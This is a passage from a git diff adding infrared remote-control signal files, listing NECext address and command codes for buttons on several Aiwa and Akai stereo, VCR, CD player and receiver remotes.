NECext +address: 76 00 00 00 +command: 1C 00 00 00 +# +name: index_forw +type: parsed +protocol: NECext +address: 76 00 00 00 +command: 1D 00 00 00 +# +name: index_back +type: parsed +protocol: NECext +address: 76 00 00 00 +command: 1E 00 00 00 +# +name: KEY_TIME +type: parsed +protocol: NECext +address: 76 00 00 00 +command: 1F 00 00 00 +# +name: blank +type: parsed +protocol: NECext +address: 76 00 00 00 +command: 40 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 76 00 00 00 +command: 41 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 76 00 00 00 +command: 42 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 76 00 00 00 +command: 43 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 76 00 00 00 +command: 44 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 76 00 00 00 +command: 45 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 76 00 00 00 +command: 46 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 76 00 00 00 +command: 47 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 76 00 00 00 +command: 48 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 76 00 00 00 +command: 49 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 76 00 00 00 +command: 4A 00 00 00 +# +name: ac +type: parsed +protocol: NECext +address: 76 00 00 00 +command: 4E 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Aiwa/Unknown_rc-tn380b/110,0.ir b/assets/resources/infrared/_CSV-IRDB_/Aiwa/Unknown_rc-tn380b/110,0.ir new file mode 100644 index 000000000..aac9b3df3 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Aiwa/Unknown_rc-tn380b/110,0.ir @@ -0,0 +1,242 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 00 00 00 00 +# +name: X_KEY_0KC +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 01 00 00 00 +# +name: X_KEY_0KC +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 02 00 00 00 +# +name: X_KEY_0KC +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 03 00 00 00 +# +name: X_KEY_0KC +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 04 00 00 00 +# +name: X_KEY_0KC +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 05 00 00 00 +# +name: X_KEY_0KC +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 06 00 00 00 +# +name: X_KEY_0KC +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 07 00 00 00 +# +name: X_KEY_0KC +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 08 00 00 00 +# +name: X_KEY_0KC +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 09 00 00 00 +# +name: X_KEY_0KC +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 0A 00 00 00 +# +name: KEY_10CHANNELSUP +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 0B 00 00 00 +# +name: Timer +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 0C 00 00 00 +# +name: KEY_SLEEP +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 0E 00 00 00 +# +name: KEY_TIME +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 11 00 00 00 +# +name: Mono_Tuner +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 12 00 00 00 +# +name: KEY_OPEN +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 13 00 00 00 +# +name: Random +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 15 00 00 00 +# +name: KEY_AGAIN +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 16 00 00 00 +# +name: Edit/Remain +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 17 00 00 00 +# +name: Prgm +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 19 00 00 00 +# +name: Tape_Deck_1/2 +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 1B 00 00 00 +# +name: TunerBand +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 1C 00 00 00 +# +name: KEY_VIDEO +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 1D 00 00 00 +# +name: KEY_CD +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 1F 00 00 00 +# +name: Direction_Preset +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 40 00 00 00 +# +name: KEY_STOP +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 41 00 00 00 +# +name: KEY_REWIND +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 42 00 00 00 +# +name: F_FWD +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 43 00 00 00 +# +name: KEY_PAUSE +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 44 00 00 00 +# +name: KEY_RECORD +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 45 00 00 00 +# +name: T-Bass +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 47 00 00 00 +# +name: BBE +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 48 00 00 00 +# +name: GEQ +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 49 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 4D 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 4E 00 00 00 +# +name: Karaoke +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 50 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 51 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 52 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 53 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Aiwa/Unknown_rc-tz650/110,0.ir b/assets/resources/infrared/_CSV-IRDB_/Aiwa/Unknown_rc-tz650/110,0.ir new file mode 100644 index 000000000..5270a2203 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Aiwa/Unknown_rc-tz650/110,0.ir @@ -0,0 +1,224 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 00 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 01 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 02 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 03 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 04 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 05 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 06 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 07 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 08 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 09 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 0A 00 00 00 +# +name: KEY_10CHANNELSUP +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 0B 00 00 00 +# +name: s7 +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 0C 00 00 00 +# +name: s8 +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 0E 00 00 00 +# +name: s9 +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 11 00 00 00 +# +name: fmmode +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 12 00 00 00 +# +name: s6 +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 14 00 00 00 +# +name: s1 +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 15 00 00 00 +# +name: s2 +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 16 00 00 00 +# +name: s4 +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 17 00 00 00 +# +name: s5 +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 19 00 00 00 +# +name: band +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 1C 00 00 00 +# +name: func +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 1E 00 00 00 +# +name: KEY_PLAY +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 40 00 00 00 +# +name: KEY_STOP +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 41 00 00 00 +# +name: KEY_FORWARD +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 42 00 00 00 +# +name: KEY_UP +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 42 00 00 00 +# +name: bwd +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 43 00 00 00 +# +name: KEY_DOWN +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 43 00 00 00 +# +name: KEY_PAUSE +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 44 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 4D 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 4E 00 00 00 +# +name: s+10 +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 50 00 00 00 +# +name: ddp1 +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 51 00 00 00 +# +name: ddp2 +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 52 00 00 00 +# +name: ddp3 +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 53 00 00 00 +# +name: s3 +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 56 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Aiwa/Unknown_rc6as14/110,0.ir b/assets/resources/infrared/_CSV-IRDB_/Aiwa/Unknown_rc6as14/110,0.ir new file mode 100644 index 000000000..80cbb87f0 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Aiwa/Unknown_rc6as14/110,0.ir @@ -0,0 +1,206 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 00 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 01 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 02 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 03 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 04 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 05 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 06 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 07 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 08 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 09 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 0A 00 00 00 +# +name: plus10 +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 0B 00 00 00 +# +name: shift7 +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 0C 00 00 00 +# +name: shift8 +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 0E 00 00 00 +# +name: shift9 +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 11 00 00 00 +# +name: shift0 +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 12 00 00 00 +# +name: shift3 +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 15 00 00 00 +# +name: shift1 +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 17 00 00 00 +# +name: shift2 +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 19 00 00 00 +# +name: shiftplus10 +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 1C 00 00 00 +# +name: function +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 1E 00 00 00 +# +name: KEY_PLAY +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 40 00 00 00 +# +name: KEY_STOP +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 41 00 00 00 +# +name: KEY_NEXT +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 42 00 00 00 +# +name: KEY_PREVIOUS +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 43 00 00 00 +# +name: KEY_PAUSE +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 44 00 00 00 +# +name: shift6 +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 47 00 00 00 +# +name: shift4 +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 49 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 4D 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 4E 00 00 00 +# +name: shift5 +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 50 00 00 00 +# +name: cd1 +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 51 00 00 00 +# +name: cd2 +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 52 00 00 00 +# +name: cd3 +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 53 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Aiwa/VCR/127,0.ir b/assets/resources/infrared/_CSV-IRDB_/Aiwa/VCR/127,0.ir new file mode 100644 index 000000000..04566f70a --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Aiwa/VCR/127,0.ir @@ -0,0 +1,398 @@ +Filetype: IR signals file +Version: 1 +# +name: POWER +type: parsed +protocol: NECext +address: 7F 00 00 00 +command: 00 00 00 00 +# +name: 1 +type: parsed +protocol: NECext +address: 7F 00 00 00 +command: 01 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: 7F 00 00 00 +command: 02 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: 7F 00 00 00 +command: 03 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: 7F 00 00 00 +command: 04 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: 7F 00 00 00 +command: 05 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: 7F 00 00 00 +command: 06 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: 7F 00 00 00 +command: 07 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: 7F 00 00 00 +command: 08 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: 7F 00 00 00 +command: 09 00 00 00 +# +name: 0 +type: parsed +protocol: NECext +address: 7F 00 00 00 +command: 0A 00 00 00 +# +name: CH +type: parsed +protocol: NECext +address: 7F 00 00 00 +command: 0C 00 00 00 +# +name: TV/VCR +type: parsed +protocol: NECext +address: 7F 00 00 00 +command: 0D 00 00 00 +# +name: INPUT +type: parsed +protocol: NECext +address: 7F 00 00 00 +command: 0E 00 00 00 +# +name: DISPLAY +type: parsed +protocol: NECext +address: 7F 00 00 00 +command: 10 00 00 00 +# +name: COUNTER_DISPLAY +type: parsed +protocol: NECext +address: 7F 00 00 00 +command: 10 00 00 00 +# +name: FAST_FORWARD_>> +type: parsed +protocol: NECext +address: 7F 00 00 00 +command: 11 00 00 00 +# +name: F.FWD_>>_/_>> +type: parsed +protocol: NECext +address: 7F 00 00 00 +command: 11 00 00 00 +# +name: REWIND_<< +type: parsed +protocol: NECext +address: 7F 00 00 00 +command: 12 00 00 00 +# +name: REW_<<_/_<< +type: parsed +protocol: NECext +address: 7F 00 00 00 +command: 12 00 00 00 +# +name: RECORD_/_OTR +type: parsed +protocol: NECext +address: 7F 00 00 00 +command: 14 00 00 00 +# +name: -REC/QTR- +type: parsed +protocol: NECext +address: 7F 00 00 00 +command: 14 00 00 00 +# +name: PLAY +type: parsed +protocol: NECext +address: 7F 00 00 00 +command: 15 00 00 00 +# +name: PLAY_> +type: parsed +protocol: NECext +address: 7F 00 00 00 +command: 15 00 00 00 +# +name: PAUSE/STILL +type: parsed +protocol: NECext +address: 7F 00 00 00 +command: 17 00 00 00 +# +name: PAUSE/STILL_ +type: parsed +protocol: NECext +address: 7F 00 00 00 +command: 17 00 00 00 +# +name: STOP +type: parsed +protocol: NECext +address: 7F 00 00 00 +command: 1A 00 00 00 +# +name: STOP_[] +type: parsed +protocol: NECext +address: 7F 00 00 00 +command: 1A 00 00 00 +# +name: 100 +type: parsed +protocol: NECext +address: 7F 00 00 00 +command: 1B 00 00 00 +# +name: T-REC +type: parsed +protocol: NECext +address: 7F 00 00 00 +command: 1E 00 00 00 +# +name: CLEAR +type: parsed +protocol: NECext +address: 7F 00 00 00 +command: 1F 00 00 00 +# +name: CANCEL +type: parsed +protocol: NECext +address: 7F 00 00 00 +command: 1F 00 00 00 +# +name: CHANNEL_+ +type: parsed +protocol: NECext +address: 7F 00 00 00 +command: 40 00 00 00 +# +name: CHANNEL_UP_^ +type: parsed +protocol: NECext +address: 7F 00 00 00 +command: 40 00 00 00 +# +name: CHANNEL_- +type: parsed +protocol: NECext +address: 7F 00 00 00 +command: 41 00 00 00 +# +name: CHANNEL_DOWN_V +type: parsed +protocol: NECext +address: 7F 00 00 00 +command: 41 00 00 00 +# +name: ZERO_RETURN +type: parsed +protocol: NECext +address: 7F 00 00 00 +command: 45 00 00 00 +# +name: TRACKING_+ +type: parsed +protocol: NECext +address: 7F 00 00 00 +command: 46 00 00 00 +# +name: TRACKING_- +type: parsed +protocol: NECext +address: 7F 00 00 00 +command: 47 00 00 00 +# +name: EJECT +type: parsed +protocol: NECext +address: 7F 00 00 00 +command: 48 00 00 00 +# +name: RESET +type: parsed +protocol: NECext +address: 7F 00 00 00 +command: 4C 00 00 00 +# +name: COUNTER_RESET +type: parsed +protocol: NECext +address: 7F 00 00 00 +command: 4C 00 00 00 +# +name: INDEX_SEARCH +type: parsed +protocol: NECext +address: 7F 00 00 00 +command: 4D 00 00 00 +# +name: T._SPEED +type: parsed +protocol: NECext +address: 7F 00 00 00 +command: 50 00 00 00 +# +name: TAPE_SPEED +type: parsed +protocol: NECext +address: 7F 00 00 00 +command: 50 00 00 00 +# +name: COUNTER_MEMORY +type: parsed +protocol: NECext +address: 7F 00 00 00 +command: 51 00 00 00 +# +name: COUNTER_CLOCK +type: parsed +protocol: NECext +address: 7F 00 00 00 +command: 56 00 00 00 +# +name: A-TR +type: parsed +protocol: NECext +address: 7F 00 00 00 +command: 5C 00 00 00 +# +name: MENU +type: parsed +protocol: NECext +address: 7F 00 00 00 +command: 81 00 00 00 +# +name: CURSOR_RIGHT +type: parsed +protocol: NECext +address: 7F 00 00 00 +command: 83 00 00 00 +# +name: CURSOR_> +type: parsed +protocol: NECext +address: 7F 00 00 00 +command: 83 00 00 00 +# +name: CURSOR_LEFT +type: parsed +protocol: NECext +address: 7F 00 00 00 +command: 84 00 00 00 +# +name: CURSOR_< +type: parsed +protocol: NECext +address: 7F 00 00 00 +command: 84 00 00 00 +# +name: SEARCH/INDEX_>> +type: parsed +protocol: NECext +address: 7F 00 00 00 +command: 85 00 00 00 +# +name: VARIABLE_SEARCH_>> +type: parsed +protocol: NECext +address: 7F 00 00 00 +command: 85 00 00 00 +# +name: SEARCH/INDEX_<< +type: parsed +protocol: NECext +address: 7F 00 00 00 +command: 86 00 00 00 +# +name: VARIABLE_SEARCH_<< +type: parsed +protocol: NECext +address: 7F 00 00 00 +command: 86 00 00 00 +# +name: INDEX_MARK +type: parsed +protocol: NECext +address: 7F 00 00 00 +command: 87 00 00 00 +# +name: INDEX_ERASE +type: parsed +protocol: NECext +address: 7F 00 00 00 +command: 88 00 00 00 +# +name: CURSOR_UP +type: parsed +protocol: NECext +address: 7F 00 00 00 +command: 8D 00 00 00 +# +name: CURSOR_^ +type: parsed +protocol: NECext +address: 7F 00 00 00 +command: 8D 00 00 00 +# +name: CURSOR_DOWN +type: parsed +protocol: NECext +address: 7F 00 00 00 +command: 8E 00 00 00 +# +name: CURSOR_V +type: parsed +protocol: NECext +address: 7F 00 00 00 +command: 8E 00 00 00 +# +name: SUMMER_TIME +type: parsed +protocol: NECext +address: 7F 00 00 00 +command: 90 00 00 00 +# +name: OK +type: parsed +protocol: NECext +address: 7F 00 00 00 +command: 9F 00 00 00 +# +name: FREEZE +type: parsed +protocol: NECext +address: 7F 00 00 00 +command: C1 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Aiwa/VCR/130,111.ir b/assets/resources/infrared/_CSV-IRDB_/Aiwa/VCR/130,111.ir new file mode 100644 index 000000000..173a5d94c --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Aiwa/VCR/130,111.ir @@ -0,0 +1,62 @@ +Filetype: IR signals file +Version: 1 +# +name: PAL-SCAM/NTSC1/NTSC2 +type: parsed +protocol: NECext +address: 82 6F 00 00 +command: 13 00 00 00 +# +name: TRACKING_+ +type: parsed +protocol: NECext +address: 82 6F 00 00 +command: 17 00 00 00 +# +name: POWER +type: parsed +protocol: NECext +address: 82 6F 00 00 +command: 18 00 00 00 +# +name: STOP_[] +type: parsed +protocol: NECext +address: 82 6F 00 00 +command: 19 00 00 00 +# +name: PLAY_> +type: parsed +protocol: NECext +address: 82 6F 00 00 +command: 1A 00 00 00 +# +name: FF/SRCH_>> +type: parsed +protocol: NECext +address: 82 6F 00 00 +command: 1B 00 00 00 +# +name: REW/SRCH_<< +type: parsed +protocol: NECext +address: 82 6F 00 00 +command: 1C 00 00 00 +# +name: PAUSE_/>< +type: parsed +protocol: NECext +address: 82 6F 00 00 +command: 1D 00 00 00 +# +name: REC +type: parsed +protocol: NECext +address: 82 6F 00 00 +command: 1E 00 00 00 +# +name: TRACKING_- +type: parsed +protocol: NECext +address: 82 6F 00 00 +command: 1F 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Akai/CD Player/141,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Akai/CD Player/141,-1.ir new file mode 100644 index 000000000..364b40980 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Akai/CD Player/141,-1.ir @@ -0,0 +1,128 @@ +Filetype: IR signals file +Version: 1 +# +name: 0 +type: parsed +protocol: NECext +address: 8D 00 00 00 +command: 00 00 00 00 +# +name: 1 +type: parsed +protocol: NECext +address: 8D 00 00 00 +command: 01 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: 8D 00 00 00 +command: 02 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: 8D 00 00 00 +command: 03 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: 8D 00 00 00 +command: 04 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: 8D 00 00 00 +command: 05 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: 8D 00 00 00 +command: 06 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: 8D 00 00 00 +command: 07 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: 8D 00 00 00 +command: 08 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: 8D 00 00 00 +command: 09 00 00 00 +# +name: PROGRAM +type: parsed +protocol: NECext +address: 8D 00 00 00 +command: 0C 00 00 00 +# +name: CLEAR +type: parsed +protocol: NECext +address: 8D 00 00 00 +command: 13 00 00 00 +# +name: EJECT +type: parsed +protocol: NECext +address: 8D 00 00 00 +command: 15 00 00 00 +# +name: >> +type: parsed +protocol: NECext +address: 8D 00 00 00 +command: 16 00 00 00 +# +name: << +type: parsed +protocol: NECext +address: 8D 00 00 00 +command: 17 00 00 00 +# +name: DISPLAY +type: parsed +protocol: NECext +address: 8D 00 00 00 +command: 1A 00 00 00 +# +name: REPEAT +type: parsed +protocol: NECext +address: 8D 00 00 00 +command: 1B 00 00 00 +# +name: PLAY_/_PAUSE +type: parsed +protocol: NECext +address: 8D 00 00 00 +command: 1C 00 00 00 +# +name: >> +type: parsed +protocol: NECext +address: 8D 00 00 00 +command: 1D 00 00 00 +# +name: << +type: parsed +protocol: NECext +address: 8D 00 00 00 +command: 1E 00 00 00 +# +name: STOP +type: parsed +protocol: NECext +address: 8D 00 00 00 +command: 1F 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Akai/Unknown_AKAI-RC-AAV2100/160,160.ir b/assets/resources/infrared/_CSV-IRDB_/Akai/Unknown_AKAI-RC-AAV2100/160,160.ir new file mode 100644 index 000000000..d033767c0 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Akai/Unknown_AKAI-RC-AAV2100/160,160.ir @@ -0,0 +1,182 @@ +Filetype: IR signals file +Version: 1 +# +name: delay.T+ +type: parsed +protocol: NECext +address: A0 A0 00 00 +command: 01 00 00 00 +# +name: Dolby_Digital +type: parsed +protocol: NECext +address: A0 A0 00 00 +command: 02 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: A0 A0 00 00 +command: 03 00 00 00 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: A0 A0 00 00 +command: 04 00 00 00 +# +name: KEY_VIDEO +type: parsed +protocol: NECext +address: A0 A0 00 00 +command: 05 00 00 00 +# +name: KEY_DOWN +type: parsed +protocol: NECext +address: A0 A0 00 00 +command: 06 00 00 00 +# +name: T_Tone +type: parsed +protocol: NECext +address: A0 A0 00 00 +command: 07 00 00 00 +# +name: surround +type: parsed +protocol: NECext +address: A0 A0 00 00 +command: 09 00 00 00 +# +name: KEY_DVD +type: parsed +protocol: NECext +address: A0 A0 00 00 +command: 0A 00 00 00 +# +name: CH.Trim +type: parsed +protocol: NECext +address: A0 A0 00 00 +command: 0B 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: A0 A0 00 00 +command: 0C 00 00 00 +# +name: SPK_on_Off +type: parsed +protocol: NECext +address: A0 A0 00 00 +command: 0D 00 00 00 +# +name: Stereo +type: parsed +protocol: NECext +address: A0 A0 00 00 +command: 0E 00 00 00 +# +name: KEY_AUX +type: parsed +protocol: NECext +address: A0 A0 00 00 +command: 0F 00 00 00 +# +name: KEY_TAPE +type: parsed +protocol: NECext +address: A0 A0 00 00 +command: 11 00 00 00 +# +name: SPK_Setting +type: parsed +protocol: NECext +address: A0 A0 00 00 +command: 12 00 00 00 +# +name: Dynamic +type: parsed +protocol: NECext +address: A0 A0 00 00 +command: 13 00 00 00 +# +name: bass_mgt +type: parsed +protocol: NECext +address: A0 A0 00 00 +command: 14 00 00 00 +# +name: KEY_UP +type: parsed +protocol: NECext +address: A0 A0 00 00 +command: 15 00 00 00 +# +name: Memory +type: parsed +protocol: NECext +address: A0 A0 00 00 +command: 16 00 00 00 +# +name: X_KEY_2Ch +type: parsed +protocol: NECext +address: A0 A0 00 00 +command: 17 00 00 00 +# +name: delay.T- +type: parsed +protocol: NECext +address: A0 A0 00 00 +command: 19 00 00 00 +# +name: Pro_Logic +type: parsed +protocol: NECext +address: A0 A0 00 00 +command: 1A 00 00 00 +# +name: Station- +type: parsed +protocol: NECext +address: A0 A0 00 00 +command: 1B 00 00 00 +# +name: Band +type: parsed +protocol: NECext +address: A0 A0 00 00 +command: 1C 00 00 00 +# +name: Auto +type: parsed +protocol: NECext +address: A0 A0 00 00 +command: 1E 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: A0 A0 00 00 +command: 1F 00 00 00 +# +name: KEY_TUNER +type: parsed +protocol: NECext +address: A0 A0 00 00 +command: 60 00 00 00 +# +name: KEY_CD +type: parsed +protocol: NECext +address: A0 A0 00 00 +command: A0 00 00 00 +# +name: Station+ +type: parsed +protocol: NECext +address: A0 A0 00 00 +command: E0 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Akai/Unknown_Akai-RC-61A/11,11.ir b/assets/resources/infrared/_CSV-IRDB_/Akai/Unknown_Akai-RC-61A/11,11.ir new file mode 100644 index 000000000..e7989c876 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Akai/Unknown_Akai-RC-61A/11,11.ir @@ -0,0 +1,200 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 0B 0B 00 00 +command: 00 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 0B 0B 00 00 +command: 01 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 0B 0B 00 00 +command: 02 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 0B 0B 00 00 +command: 03 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 0B 0B 00 00 +command: 04 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 0B 0B 00 00 +command: 05 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 0B 0B 00 00 +command: 06 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 0B 0B 00 00 +command: 07 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 0B 0B 00 00 +command: 08 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 0B 0B 00 00 +command: 09 00 00 00 +# +name: KEY_SLEEP +type: parsed +protocol: NECext +address: 0B 